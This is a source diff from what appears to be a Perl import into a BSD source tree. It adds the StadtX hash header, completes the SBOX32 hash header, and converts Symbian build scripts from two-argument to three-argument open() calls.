+ case_155_SBOX32(hash,state,key)
+ case_154_SBOX32(hash,state,key)
+ case_153_SBOX32(hash,state,key)
+ case_152_SBOX32(hash,state,key)
+ case_151_SBOX32(hash,state,key)
+ case_150_SBOX32(hash,state,key)
+ case_149_SBOX32(hash,state,key)
+ case_148_SBOX32(hash,state,key)
+ case_147_SBOX32(hash,state,key)
+ case_146_SBOX32(hash,state,key)
+ case_145_SBOX32(hash,state,key)
+ case_144_SBOX32(hash,state,key)
+ case_143_SBOX32(hash,state,key)
+ case_142_SBOX32(hash,state,key)
+ case_141_SBOX32(hash,state,key)
+ case_140_SBOX32(hash,state,key)
+ case_139_SBOX32(hash,state,key)
+ case_138_SBOX32(hash,state,key)
+ case_137_SBOX32(hash,state,key)
+ case_136_SBOX32(hash,state,key)
+ case_135_SBOX32(hash,state,key)
+ case_134_SBOX32(hash,state,key)
+ case_133_SBOX32(hash,state,key)
+ case_132_SBOX32(hash,state,key)
+ case_131_SBOX32(hash,state,key)
+ case_130_SBOX32(hash,state,key)
+ case_129_SBOX32(hash,state,key)
+ case_128_SBOX32(hash,state,key)
+ case_127_SBOX32(hash,state,key)
+ case_126_SBOX32(hash,state,key)
+ case_125_SBOX32(hash,state,key)
+ case_124_SBOX32(hash,state,key)
+ case_123_SBOX32(hash,state,key)
+ case_122_SBOX32(hash,state,key)
+ case_121_SBOX32(hash,state,key)
+ case_120_SBOX32(hash,state,key)
+ case_119_SBOX32(hash,state,key)
+ case_118_SBOX32(hash,state,key)
+ case_117_SBOX32(hash,state,key)
+ case_116_SBOX32(hash,state,key)
+ case_115_SBOX32(hash,state,key)
+ case_114_SBOX32(hash,state,key)
+ case_113_SBOX32(hash,state,key)
+ case_112_SBOX32(hash,state,key)
+ case_111_SBOX32(hash,state,key)
+ case_110_SBOX32(hash,state,key)
+ case_109_SBOX32(hash,state,key)
+ case_108_SBOX32(hash,state,key)
+ case_107_SBOX32(hash,state,key)
+ case_106_SBOX32(hash,state,key)
+ case_105_SBOX32(hash,state,key)
+ case_104_SBOX32(hash,state,key)
+ case_103_SBOX32(hash,state,key)
+ case_102_SBOX32(hash,state,key)
+ case_101_SBOX32(hash,state,key)
+ case_100_SBOX32(hash,state,key)
+ case_99_SBOX32(hash,state,key)
+ case_98_SBOX32(hash,state,key)
+ case_97_SBOX32(hash,state,key)
+ case_96_SBOX32(hash,state,key)
+ case_95_SBOX32(hash,state,key)
+ case_94_SBOX32(hash,state,key)
+ case_93_SBOX32(hash,state,key)
+ case_92_SBOX32(hash,state,key)
+ case_91_SBOX32(hash,state,key)
+ case_90_SBOX32(hash,state,key)
+ case_89_SBOX32(hash,state,key)
+ case_88_SBOX32(hash,state,key)
+ case_87_SBOX32(hash,state,key)
+ case_86_SBOX32(hash,state,key)
+ case_85_SBOX32(hash,state,key)
+ case_84_SBOX32(hash,state,key)
+ case_83_SBOX32(hash,state,key)
+ case_82_SBOX32(hash,state,key)
+ case_81_SBOX32(hash,state,key)
+ case_80_SBOX32(hash,state,key)
+ case_79_SBOX32(hash,state,key)
+ case_78_SBOX32(hash,state,key)
+ case_77_SBOX32(hash,state,key)
+ case_76_SBOX32(hash,state,key)
+ case_75_SBOX32(hash,state,key)
+ case_74_SBOX32(hash,state,key)
+ case_73_SBOX32(hash,state,key)
+ case_72_SBOX32(hash,state,key)
+ case_71_SBOX32(hash,state,key)
+ case_70_SBOX32(hash,state,key)
+ case_69_SBOX32(hash,state,key)
+ case_68_SBOX32(hash,state,key)
+ case_67_SBOX32(hash,state,key)
+ case_66_SBOX32(hash,state,key)
+ case_65_SBOX32(hash,state,key)
+ case_64_SBOX32(hash,state,key)
+ case_63_SBOX32(hash,state,key)
+ case_62_SBOX32(hash,state,key)
+ case_61_SBOX32(hash,state,key)
+ case_60_SBOX32(hash,state,key)
+ case_59_SBOX32(hash,state,key)
+ case_58_SBOX32(hash,state,key)
+ case_57_SBOX32(hash,state,key)
+ case_56_SBOX32(hash,state,key)
+ case_55_SBOX32(hash,state,key)
+ case_54_SBOX32(hash,state,key)
+ case_53_SBOX32(hash,state,key)
+ case_52_SBOX32(hash,state,key)
+ case_51_SBOX32(hash,state,key)
+ case_50_SBOX32(hash,state,key)
+ case_49_SBOX32(hash,state,key)
+ case_48_SBOX32(hash,state,key)
+ case_47_SBOX32(hash,state,key)
+ case_46_SBOX32(hash,state,key)
+ case_45_SBOX32(hash,state,key)
+ case_44_SBOX32(hash,state,key)
+ case_43_SBOX32(hash,state,key)
+ case_42_SBOX32(hash,state,key)
+ case_41_SBOX32(hash,state,key)
+ case_40_SBOX32(hash,state,key)
+ case_39_SBOX32(hash,state,key)
+ case_38_SBOX32(hash,state,key)
+ case_37_SBOX32(hash,state,key)
+ case_36_SBOX32(hash,state,key)
+ case_35_SBOX32(hash,state,key)
+ case_34_SBOX32(hash,state,key)
+ case_33_SBOX32(hash,state,key)
+ case_32_SBOX32(hash,state,key)
+ case_31_SBOX32(hash,state,key)
+ case_30_SBOX32(hash,state,key)
+ case_29_SBOX32(hash,state,key)
+ case_28_SBOX32(hash,state,key)
+ case_27_SBOX32(hash,state,key)
+ case_26_SBOX32(hash,state,key)
+ case_25_SBOX32(hash,state,key)
+ case_24_SBOX32(hash,state,key)
+ case_23_SBOX32(hash,state,key)
+ case_22_SBOX32(hash,state,key)
+ case_21_SBOX32(hash,state,key)
+ case_20_SBOX32(hash,state,key)
+ case_19_SBOX32(hash,state,key)
+ case_18_SBOX32(hash,state,key)
+ case_17_SBOX32(hash,state,key)
+ case_16_SBOX32(hash,state,key)
+ case_15_SBOX32(hash,state,key)
+ case_14_SBOX32(hash,state,key)
+ case_13_SBOX32(hash,state,key)
+ case_12_SBOX32(hash,state,key)
+ case_11_SBOX32(hash,state,key)
+ case_10_SBOX32(hash,state,key)
+ case_9_SBOX32(hash,state,key)
+ case_8_SBOX32(hash,state,key)
+ case_7_SBOX32(hash,state,key)
+ case_6_SBOX32(hash,state,key)
+ case_5_SBOX32(hash,state,key)
+ case_4_SBOX32(hash,state,key)
+ case_3_SBOX32(hash,state,key)
+ case_2_SBOX32(hash,state,key)
+ case_1_SBOX32(hash,state,key)
+ case 0: break;
+ }
+ return hash;
+}
+
+SBOX32_STATIC_INLINE U32 sbox32_hash96(
+ const U8 *seed_ch,
+ const U8 *key,
+ const STRLEN key_len
+) {
+ U32 state[SBOX32_STATE_WORDS];
+ sbox32_seed_state96(seed_ch,(U8*)state);
+ return sbox32_hash_with_state((U8*)state,key,key_len);
+}
+
+SBOX32_STATIC_INLINE U32 sbox32_hash128(
+ const U8 *seed_ch,
+ const U8 *key,
+ const STRLEN key_len
+) {
+ U32 state[SBOX32_STATE_WORDS];
+ sbox32_seed_state128(seed_ch,(U8*)state);
+ return sbox32_hash_with_state((U8*)state,key,key_len);
+}
+
+#endif
diff --git a/gnu/usr.bin/perl/stadtx_hash.h b/gnu/usr.bin/perl/stadtx_hash.h
new file mode 100644
index 00000000000..bd09c2f9389
--- /dev/null
+++ b/gnu/usr.bin/perl/stadtx_hash.h
@@ -0,0 +1,335 @@
+#ifndef STADTX_HASH_H
+#define STADTX_HASH_H
+
+#ifndef DEBUG_STADTX_HASH
+#define DEBUG_STADTX_HASH 0
+#endif
+
+#ifndef PERL_SEEN_HV_FUNC_H
+
+#if !defined(U64)
+ #include <stdint.h>
+ #define U64 uint64_t
+#endif
+
+#if !defined(U32)
+ #define U32 uint32_t
+#endif
+
+#if !defined(U8)
+ #define U8 unsigned char
+#endif
+
+#if !defined(U16)
+ #define U16 uint16_t
+#endif
+
+#ifndef STRLEN
+#define STRLEN int
+#endif
+
+#endif
+
+#ifndef STADTX_STATIC_INLINE
+#ifdef PERL_STATIC_INLINE
+#define STADTX_STATIC_INLINE PERL_STATIC_INLINE
+#else
+#define STADTX_STATIC_INLINE static inline
+#endif
+#endif
+
+#ifndef STMT_START
+#define STMT_START do
+#define STMT_END while(0)
+#endif
+
+#ifndef STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+/* STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN only matters if nothing has defined U8TO64_LE etc,
+ * and when built with Perl these should be defined before this file is loaded.
+ */
+#ifdef U32_ALIGNMENT_REQUIRED
+#define STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN 0
+#else
+#define STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN 1
+#endif
+#endif
+
+#ifndef U8TO64_LE
+#if STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO64_LE(ptr) (*((const U64 *)(ptr)))
+#else
+#define U8TO64_LE(ptr) (\
+ (U64)(ptr)[7] << 56 | \
+ (U64)(ptr)[6] << 48 | \
+ (U64)(ptr)[5] << 40 | \
+ (U64)(ptr)[4] << 32 | \
+ (U64)(ptr)[3] << 24 | \
+ (U64)(ptr)[2] << 16 | \
+ (U64)(ptr)[1] << 8 | \
+ (U64)(ptr)[0] \
+)
+#endif
+#endif
+
+#ifndef U8TO32_LE
+#if STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO32_LE(ptr) (*((const U32 *)(ptr)))
+#else
+#define U8TO32_LE(ptr) (\
+ (U32)(ptr)[3] << 24 | \
+ (U32)(ptr)[2] << 16 | \
+ (U32)(ptr)[1] << 8 | \
+ (U32)(ptr)[0] \
+)
+#endif
+#endif
+
+#ifndef U8TO16_LE
+#if STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO16_LE(ptr) (*((const U16 *)(ptr)))
+#else
+#define U8TO16_LE(ptr) (\
+ (U16)(ptr)[1] << 8 | \
+ (U16)(ptr)[0] \
+)
+#endif
+#endif
+
+/* Find best way to ROTL32/ROTL64 */
+#if defined(_MSC_VER)
+ #include <stdlib.h> /* Microsoft put _rotl declaration in here */
+ #define ROTL32(x,r) _rotl(x,r)
+ #define ROTR32(x,r) _rotr(x,r)
+ #define ROTL64(x,r) _rotl64(x,r)
+ #define ROTR64(x,r) _rotr64(x,r)
+#else
+ /* gcc recognises this code and generates a rotate instruction for CPUs with one */
+ #define ROTL32(x,r) (((U32)(x) << (r)) | ((U32)(x) >> (32 - (r))))
+ #define ROTR32(x,r) (((U32)(x) << (32 - (r))) | ((U32)(x) >> (r)))
+ #define ROTL64(x,r) ( ( (U64)(x) << (r) ) | ( (U64)(x) >> ( 64 - (r) ) ) )
+ #define ROTR64(x,r) ( ( (U64)(x) << ( 64 - (r) ) ) | ( (U64)(x) >> (r) ) )
+#endif
+
+
+/* do a marsaglia xor-shift permutation followed by a
+ * multiply by a prime (presumably large) and another
+ * marsaglia xor-shift permutation.
+ * One of these thoroughly changes the bits of the input.
+ * Two of these with different primes passes the Strict Avalanche Criteria
+ * in all the tests I did.
+ *
+ * Note that v cannot end up zero after a scramble64 unless it
+ * was zero in the first place.
+ */
+#define STADTX_SCRAMBLE64(v,prime) STMT_START { \
+ v ^= (v >> 13); \
+ v ^= (v << 35); \
+ v ^= (v >> 30); \
+ v *= prime; \
+ v ^= (v >> 19); \
+ v ^= (v << 15); \
+ v ^= (v >> 46); \
+} STMT_END
+
+
+STADTX_STATIC_INLINE void stadtx_seed_state (
+ const U8 *seed_ch,
+ U8 *state_ch
+) {
+ const U64 *seed= (const U64 *)seed_ch;
+ U64 *state= (U64 *)state_ch;
+ /* first we apply two masks to each word of the seed, this means that
+ * a) at least one of state[0] and state[2] is nonzero,
+ * b) at least one of state[1] and state[3] is nonzero
+ * c) that state[0] and state[2] are different
+ * d) that state[1] and state[3] are different
+ * e) that the replacement value for any zero's is a totally different from the seed value.
+ * (iow, if seed[0] is 0x43f6a8885a308d31UL then state[0] becomes 0, which is the replaced
+ * with 1, which is totally different.). */
+ /* hex expansion of pi, skipping first two digits. pi= 3.2[43f6...]*/
+ /* pi value in hex from here:
+ * http://turner.faculty.swau.edu/mathematics/materialslibrary/pi/pibases.html*/
+ state[0]= seed[0] ^ UINT64_C(0x43f6a8885a308d31);
+ state[1]= seed[1] ^ UINT64_C(0x3198a2e03707344a);
+ state[2]= seed[0] ^ UINT64_C(0x4093822299f31d00);
+ state[3]= seed[1] ^ UINT64_C(0x82efa98ec4e6c894);
+ if (!state[0]) state[0]=1;
+ if (!state[1]) state[1]=2;
+ if (!state[2]) state[2]=4;
+ if (!state[3]) state[3]=8;
+ /* and now for good measure we double scramble all four -
+ * a double scramble guarantees a complete avalanche of all the
+ * bits in the seed - IOW, by the time we are hashing the
+ * four state vectors should be completely different and utterly
+ * uncognizable from the input seed bits */
+ STADTX_SCRAMBLE64(state[0],UINT64_C(0x801178846e899d17));
+ STADTX_SCRAMBLE64(state[0],UINT64_C(0xdd51e5d1c9a5a151));
+ STADTX_SCRAMBLE64(state[1],UINT64_C(0x93a7d6c8c62e4835));
+ STADTX_SCRAMBLE64(state[1],UINT64_C(0x803340f36895c2b5));
+ STADTX_SCRAMBLE64(state[2],UINT64_C(0xbea9344eb7565eeb));
+ STADTX_SCRAMBLE64(state[2],UINT64_C(0xcd95d1e509b995cd));
+ STADTX_SCRAMBLE64(state[3],UINT64_C(0x9999791977e30c13));
+ STADTX_SCRAMBLE64(state[3],UINT64_C(0xaab8b6b05abfc6cd));
+}
+
+#define STADTX_K0_U64 UINT64_C(0xb89b0f8e1655514f)
+#define STADTX_K1_U64 UINT64_C(0x8c6f736011bd5127)
+#define STADTX_K2_U64 UINT64_C(0x8f29bd94edce7b39)
+#define STADTX_K3_U64 UINT64_C(0x9c1b8e1e9628323f)
+
+#define STADTX_K2_U32 0x802910e3
+#define STADTX_K3_U32 0x819b13af
+#define STADTX_K4_U32 0x91cb27e5
+#define STADTX_K5_U32 0xc1a269c1
+
+STADTX_STATIC_INLINE U64 stadtx_hash_with_state(
+ const U8 *state_ch,
+ const U8 *key,
+ const STRLEN key_len
+) {
+ U64 *state= (U64 *)state_ch;
+ STRLEN len = key_len;
+ U64 v0= state[0] ^ ((key_len+1) * STADTX_K0_U64);
+ U64 v1= state[1] ^ ((key_len+2) * STADTX_K1_U64);
+ if (len < 32) {
+ switch(len >> 3) {
+ case 3:
+ v0 += U8TO64_LE(key) * STADTX_K3_U64;
+ v0= ROTR64(v0, 17) ^ v1;
+ v1= ROTR64(v1, 53) + v0;
+ key += 8;
+ /* FALLTHROUGH */
+ case 2:
+ v0 += U8TO64_LE(key) * STADTX_K3_U64;
+ v0= ROTR64(v0, 17) ^ v1;
+ v1= ROTR64(v1, 53) + v0;
+ key += 8;
+ /* FALLTHROUGH */
+ case 1:
+ v0 += U8TO64_LE(key) * STADTX_K3_U64;
+ v0= ROTR64(v0, 17) ^ v1;
+ v1= ROTR64(v1, 53) + v0;
+ key += 8;
+ /* FALLTHROUGH */
+ case 0:
+ default: break;
+ }
+ switch ( len & 0x7 ) {
+ case 7: v0 += (U64)key[6] << 32;
+ /* FALLTHROUGH */
+ case 6: v1 += (U64)key[5] << 48;
+ /* FALLTHROUGH */
+ case 5: v0 += (U64)key[4] << 16;
+ /* FALLTHROUGH */
+ case 4: v1 += (U64)U8TO32_LE(key);
+ break;
+ case 3: v0 += (U64)key[2] << 48;
+ /* FALLTHROUGH */
+ case 2: v1 += (U64)U8TO16_LE(key);
+ break;
+ case 1: v0 += (U64)key[0];
+ /* FALLTHROUGH */
+ case 0: v1 = ROTL64(v1, 32) ^ 0xFF;
+ break;
+ }
+ v1 ^= v0;
+ v0 = ROTR64(v0,33) + v1;
+ v1 = ROTL64(v1,17) ^ v0;
+ v0 = ROTL64(v0,43) + v1;
+ v1 = ROTL64(v1,31) - v0;
+ v0 = ROTL64(v0,13) ^ v1;
+ v1 -= v0;
+ v0 = ROTL64(v0,41) + v1;
+ v1 = ROTL64(v1,37) ^ v0;
+ v0 = ROTR64(v0,39) + v1;
+ v1 = ROTR64(v1,15) + v0;
+ v0 = ROTL64(v0,15) ^ v1;
+ v1 = ROTR64(v1, 5);
+ return v0 ^ v1;
+ } else {
+ U64 v2= state[2] ^ ((key_len+3) * STADTX_K2_U64);
+ U64 v3= state[3] ^ ((key_len+4) * STADTX_K3_U64);
+
+ do {
+ v0 += (U64)U8TO64_LE(key+ 0) * STADTX_K2_U32; v0= ROTL64(v0,57) ^ v3;
+ v1 += (U64)U8TO64_LE(key+ 8) * STADTX_K3_U32; v1= ROTL64(v1,63) ^ v2;
+ v2 += (U64)U8TO64_LE(key+16) * STADTX_K4_U32; v2= ROTR64(v2,47) + v0;
+ v3 += (U64)U8TO64_LE(key+24) * STADTX_K5_U32; v3= ROTR64(v3,11) - v1;
+ key += 32;
+ len -= 32;
+ } while ( len >= 32 );
+
+ switch ( len >> 3 ) {
+ case 3: v0 += ((U64)U8TO64_LE(key) * STADTX_K2_U32); key += 8; v0= ROTL64(v0,57) ^ v3;
+ /* FALLTHROUGH */
+ case 2: v1 += ((U64)U8TO64_LE(key) * STADTX_K3_U32); key += 8; v1= ROTL64(v1,63) ^ v2;
+ /* FALLTHROUGH */
+ case 1: v2 += ((U64)U8TO64_LE(key) * STADTX_K4_U32); key += 8; v2= ROTR64(v2,47) + v0;
+ /* FALLTHROUGH */
+ case 0: v3 = ROTR64(v3,11) - v1;
+ /* FALLTHROUGH */
+ }
+ v0 ^= (len+1) * STADTX_K3_U64;
+ switch ( len & 0x7 ) {
+ case 7: v1 += (U64)key[6];
+ /* FALLTHROUGH */
+ case 6: v2 += (U64)U8TO16_LE(key+4);
+ v3 += (U64)U8TO32_LE(key);
+ break;
+ case 5: v1 += (U64)key[4];
+ /* FALLTHROUGH */
+ case 4: v2 += (U64)U8TO32_LE(key);
+ break;
+ case 3: v3 += (U64)key[2];
+ /* FALLTHROUGH */
+ case 2: v1 += (U64)U8TO16_LE(key);
+ break;
+ case 1: v2 += (U64)key[0];
+ /* FALLTHROUGH */
+ case 0: v3 = ROTL64(v3, 32) ^ 0xFF;
+ break;
+ }
+
+ v1 -= v2;
+ v0 = ROTR64(v0,19);
+ v1 -= v0;
+ v1 = ROTR64(v1,53);
+ v3 ^= v1;
+ v0 -= v3;
+ v3 = ROTL64(v3,43);
+ v0 += v3;
+ v0 = ROTR64(v0, 3);
+ v3 -= v0;
+ v2 = ROTR64(v2,43) - v3;
+ v2 = ROTL64(v2,55) ^ v0;
+ v1 -= v2;
+ v3 = ROTR64(v3, 7) - v2;
+ v2 = ROTR64(v2,31);
+ v3 += v2;
+ v2 -= v1;
+ v3 = ROTR64(v3,39);
+ v2 ^= v3;
+ v3 = ROTR64(v3,17) ^ v2;
+ v1 += v3;
+ v1 = ROTR64(v1, 9);
+ v2 ^= v1;
+ v2 = ROTL64(v2,24);
+ v3 ^= v2;
+ v3 = ROTR64(v3,59);
+ v0 = ROTR64(v0, 1) - v1;
+
+ return v0 ^ v1 ^ v2 ^ v3;
+ }
+}
+
+STADTX_STATIC_INLINE U64 stadtx_hash(
+ const U8 *seed_ch,
+ const U8 *key,
+ const STRLEN key_len
+) {
+ U64 state[4];
+ stadtx_seed_state(seed_ch,(U8*)state);
+ return stadtx_hash_with_state((U8*)state,key,key_len);
+}
+
+#endif
diff --git a/gnu/usr.bin/perl/symbian/demo_pl b/gnu/usr.bin/perl/symbian/demo_pl
index fbba5f4bf97..9759347a97a 100644
--- a/gnu/usr.bin/perl/symbian/demo_pl
+++ b/gnu/usr.bin/perl/symbian/demo_pl
@@ -33,7 +33,7 @@ while (<DATA>) {
unlink $1 or warn "$0: $1: $!\n";
} elsif ($extract) {
defined $fh && close($fh);
- open($fh, ">$1") or die "$0: '$1': $!\n";
+ open($fh, ">", $1) or die "$0: '$1': $!\n";
print "Extracting $1\n";
} elsif ($list) {
print "$1\n";
diff --git a/gnu/usr.bin/perl/symbian/hexdump.pl b/gnu/usr.bin/perl/symbian/hexdump.pl
index 37adff3577d..d1741f80b94 100644
--- a/gnu/usr.bin/perl/symbian/hexdump.pl
+++ b/gnu/usr.bin/perl/symbian/hexdump.pl
@@ -22,7 +22,7 @@ for my $fn ($EXE, $RSC) {
my $newfn = $new{$fn};
unlink($newfn);
if (($read = sysread($fh, $buffer, $size)) == $size) {
- if (open(my $newfh, ">$newfn")) {
+ if (open(my $newfh, '>', $newfn)) {
binmode($newfh);
print $newfh unpack("H*", $buffer);
close($newfh);
diff --git a/gnu/usr.bin/perl/symbian/install.cfg b/gnu/usr.bin/perl/symbian/install.cfg
index 28760b76c27..918d300826f 100644
--- a/gnu/usr.bin/perl/symbian/install.cfg
+++ b/gnu/usr.bin/perl/symbian/install.cfg
@@ -99,7 +99,7 @@ ext XSLoader
# ext Devel/DProf nonconst
# ext Devel/PPPort PORT
# ext Encode nonconst Encode/encode.h def_t.c encengine.c
-# ext I18N/Langinfo PORT
+ext I18N/Langinfo PORT
# ext IPC/SysV PORT
# ext NDBM_File PORT
# ext ODBM_File PORT
diff --git a/gnu/usr.bin/perl/symbian/makesis.pl b/gnu/usr.bin/perl/symbian/makesis.pl
index 270f6b44340..58199cec777 100644
--- a/gnu/usr.bin/perl/symbian/makesis.pl
+++ b/gnu/usr.bin/perl/symbian/makesis.pl
@@ -72,7 +72,7 @@ for my $target (@target) {
print "\tErrno.pm\n";
$copy{"ext\\Errno\\Errno.pm"} = "$lib\\Perl\\$R_V_SV\\Errno.pm";
- open( my $cfg, "symbian/install.cfg" )
+ open( my $cfg, '<', "symbian/install.cfg" )
or die "$!: symbian/install.cfg: $!\n";
while (<$cfg>) {
next unless /^lib\s+(.+)/;
@@ -98,7 +98,7 @@ for my $target (@target) {
my $ext = $1;
$ext =~ s!-!::!g;
print "\t$ext\n";
- if ( open( my $pkg, $lst ) ) {
+ if ( open( my $pkg, '<', $lst ) ) {
while (<$pkg>) {
if (m!^"(.+)"-"(.+)"$!) {
my ( $src, $dst ) = ( $1, $2 );
@@ -165,7 +165,7 @@ qq[;Supports Series 80 v2.0\n(0x101F8ED2), 0, 0, 0, {"Series80ProductID"}\n] :
qq[;Supports Series 90 v1.1\n(0x101FBE05), 0, 0, 0, {"Series90ProductID"}\n] :
";Supports Series NN";
- open PKG, ">$pkg" or die "$0: failed to create $pkg: $!\n";
+ open PKG, '>', $pkg or die "$0: failed to create $pkg: $!\n";
print PKG <<__EOF__;
; \u$target installation script
;
diff --git a/gnu/usr.bin/perl/symbian/sisify.pl b/gnu/usr.bin/perl/symbian/sisify.pl
index fc82ae76989..7b5506c13f9 100644
--- a/gnu/usr.bin/perl/symbian/sisify.pl
+++ b/gnu/usr.bin/perl/symbian/sisify.pl
@@ -188,9 +188,9 @@ $OWD =~ s!/!\\!g;
chdir($tempdir) or die "$0: chdir('$tempdir')\n";
if (@SisPl) {
- if (open(my $fi, "default.pl")) {
+ if (open(my $fi, "<", "default.pl")) {
my $fn = "default.pl.new";
- if (open(my $fo, ">$fn")) {
+ if (open(my $fo, ">", $fn)) {
while (<$fi>) {
last unless /^\#/;
print $fo $_;
@@ -254,7 +254,7 @@ unless ($Library) {
my $cmd = "uidcrc $uids |";
- if (open(my $fh, $cmd)) {
+ if (open(my $fh, '<', $cmd)) {
my $line = <$fh>;
close($fh);
# 0x10000079 0x100039ce 0x0acebabe 0xc82b1900
@@ -285,7 +285,7 @@ unless ($Library) {
my $UID_OFFSET = 0x0C7C; # This is where the uid is in the $app.
substr($app, $UID_OFFSET, 4) = substr($app, 8, 4); # Copy the uid also here.
- if (open(my $fh, ">$AppName.app")) {
+ if (open(my $fh, '>', "$AppName.app")) {
binmode($fh);
print $fh $app;
close($fh);
@@ -295,7 +295,7 @@ unless ($Library) {
push @pkg, qq["$AppName.app"-"!:\\system\\apps\\$AppName\\$AppName.app"];
- if (open(my $fh, ">$AppName.rsc")) {
+ if (open(my $fh, '>', "$AppName.rsc")) {
binmode($fh);
print $fh hex2data($RSCHEX);
close($fh);
@@ -311,7 +311,7 @@ if ($ShowPkg) {
}
} else {
my $fn = "$AppName.pkg";
- if (open(my $fh, ">$fn")) {
+ if (open(my $fh, '>', $fn)) {
for my $l (@pkg) {
print $fh "$l\r\n"; # Note CRLF!
}
diff --git a/gnu/usr.bin/perl/symbian/symbian_stubs.c b/gnu/usr.bin/perl/symbian/symbian_stubs.c
index c997446cfd1..314bd5772c7 100644
--- a/gnu/usr.bin/perl/symbian/symbian_stubs.c
+++ b/gnu/usr.bin/perl/symbian/symbian_stubs.c
@@ -89,7 +89,7 @@ struct protoent* getprotobynumber(int number) {
struct protoent* getprotobyname(const char* name) {
int i;
for (i = 0; i < sizeof(protocols)/sizeof(struct protoent); i++)
- if (strcmp(name, protocols[i].p_name) == 0)
+ if (strEQ(name, protocols[i].p_name))
return (struct protoent*)(&(protocols[i]));
return 0;
}
@@ -97,7 +97,7 @@ struct protoent* getprotobyname(const char* name) {
struct servent* getservbyname(const char* name, const char* proto) {
int i;
for (i = 0; i < sizeof(services)/sizeof(struct servent); i++)
- if (strcmp(name, services[i].s_name) == 0)
+ if (strEQ(name, services[i].s_name))
return (struct servent*)(&(services[i]));
return 0;
}
diff --git a/gnu/usr.bin/perl/symbian/version.pl b/gnu/usr.bin/perl/symbian/version.pl
index c8bb82ebf7f..f4208f873fc 100644
--- a/gnu/usr.bin/perl/symbian/version.pl
+++ b/gnu/usr.bin/perl/symbian/version.pl
@@ -2,7 +2,7 @@ use strict;
my %VERSION;
-if (open(PATCHLEVEL_H, "patchlevel.h")) {
+if (open(PATCHLEVEL_H, "<", "patchlevel.h")) {
while (<PATCHLEVEL_H>) {
if (/#define\s+PERL_(REVISION|VERSION|SUBVERSION)\s+(\d+)/) {
$VERSION{$1} = $2;
diff --git a/gnu/usr.bin/perl/symbian/xsbuild.pl b/gnu/usr.bin/perl/symbian/xsbuild.pl
index 939b5691016..5ccd7c379ea 100644
--- a/gnu/usr.bin/perl/symbian/xsbuild.pl
+++ b/gnu/usr.bin/perl/symbian/xsbuild.pl
@@ -137,7 +137,7 @@ my %EXTCFG;
sub write_bld_inf {
my ($base) = @_;
print "\tbld.inf\n";
- open( BLD_INF, ">bld.inf" ) or die "$0: bld.inf: $!\n";
+ open( BLD_INF, '>', 'bld.inf' ) or die "$0: bld.inf: $!\n";
print BLD_INF <<__EOF__;
PRJ_MMPFILES
$base.mmp
@@ -188,7 +188,7 @@ sub uniquefy_filenames {
sub read_mmp {
my ( $conf, $mmp ) = @_;
- if ( -r $mmp && open( MMP, "<$mmp" ) ) {
+ if ( -r $mmp && open( MMP, '<', $mmp ) ) {
print "\tReading $mmp...\n";
while (<MMP>) {
chomp;
@@ -269,7 +269,7 @@ sub write_mmp {
for my $u (qw(SOURCE SOURCEPATH SYSTEMINCLUDE USERINCLUDE LIBRARY MACRO)) {
$CONF{$u} = uniquefy_filenames( $CONF{$u} );
}
- open( BASE_MMP, ">$base.mmp" ) or die "$0: $base.mmp: $!\n";
+ open( BASE_MMP, '>', "$base.mmp" ) or die "$0: $base.mmp: $!\n";
print BASE_MMP <<__EOF__;
TARGET $CONF{TARGET}
@@ -310,7 +310,7 @@ sub write_makefile {
my $wrap = $SYMBIAN_ROOT && defined $SDK_VARIANT eq 'S60' && $SDK_VERSION eq '1.2' && $SYMBIAN_ROOT !~ /_CW$/;
my $ABLD = $wrap ? 'perl b.pl' : 'abld';
- open( MAKEFILE, ">Makefile" ) or die "$0: Makefile: $!\n";
+ open( MAKEFILE, '>', 'Makefile' ) or die "$0: Makefile: $!\n";
print MAKEFILE <<__EOF__;
WIN = $WIN
ARM = $ARM
@@ -382,7 +382,7 @@ distclean: defrost realclean
__EOF__
close(MAKEFILE);
if ($wrap) {
- if(open(B,">b.pl")) {
+ if(open(B, '>', 'b.pl')) {
print B <<'__EOF__';
# abld.pl wrapper.
@@ -420,7 +420,7 @@ sub patch_config {
return unless $CoreBuild;
my $V = sprintf "%vd", $^V;
# create reverse patch script
- if (open(RSCRIPT, ">$config_restore_script")) {
+ if (open(RSCRIPT, '>', $config_restore_script)) {
print RSCRIPT <<__EOF__;
#!perl -pi.bak
s:\\Q$V:$R_V_SV:
@@ -590,7 +590,7 @@ sub xsconfig {
my @MM = qw(VERSION XS_VERSION);
if ( -f "Makefile" ) {
print "\tReading MakeMaker Makefile...\n";
- if ( open( MAKEFILE, "Makefile" ) ) {
+ if ( open( MAKEFILE, '<', 'Makefile' ) ) {
while (<MAKEFILE>) {
for my $m (@MM) {
if (m!^$m = (.+)!) {
@@ -617,7 +617,7 @@ sub xsconfig {
}
(&restore_config and die "$0: VERSION or XS_VERSION undefined\n")
unless defined $MM{VERSION} && defined $MM{XS_VERSION};
- if ( open( BASE_C, ">$basec" ) ) {
+ if ( open( BASE_C, '>', $basec ) ) {
print BASE_C <<__EOF__;
#ifndef VERSION
#define VERSION "$MM{VERSION}"
@@ -643,7 +643,7 @@ __EOF__
}
print "\t_init.c\n";
- open( _INIT_C, ">_init.c" )
+ open( _INIT_C, '>', '_init.c' )
or &restore_config and die "$!: _init.c: $!\n";
print _INIT_C <<__EOF__;
#include "EXTERN.h"
@@ -659,7 +659,7 @@ __EOF__
for my $submf ( glob("*/Makefile") ) {
my $d = dirname($submf);
print "Configuring Encode::$d...\n";
- if ( open( SUBMF, $submf ) ) {
+ if ( open( SUBMF, '<', $submf ) ) {
if ( update_dir($d) ) {
my @subsrc;
while (<SUBMF>) {
@@ -715,7 +715,7 @@ __EOF__
print "\t$lstname.lst\n";
my $lstout =
$CoreBuild ? "$BUILDROOT/symbian/$lstname.lst" : "$BUILDROOT/$lstname.lst";
- if ( open( my $lst, ">$lstout" ) ) {
+ if ( open( my $lst, '>', $lstout ) ) {
for my $f (@lst) { print $lst qq["$f"-"!:$lst{$f}"\n] }
close($lst);
}
@@ -787,7 +787,7 @@ for my $ext (@ARGV) {
if $CoreBuild && $Build && !-f "lib\\Config.pm";
if ($CoreBuild) {
- open( my $cfg, "symbian/install.cfg" )
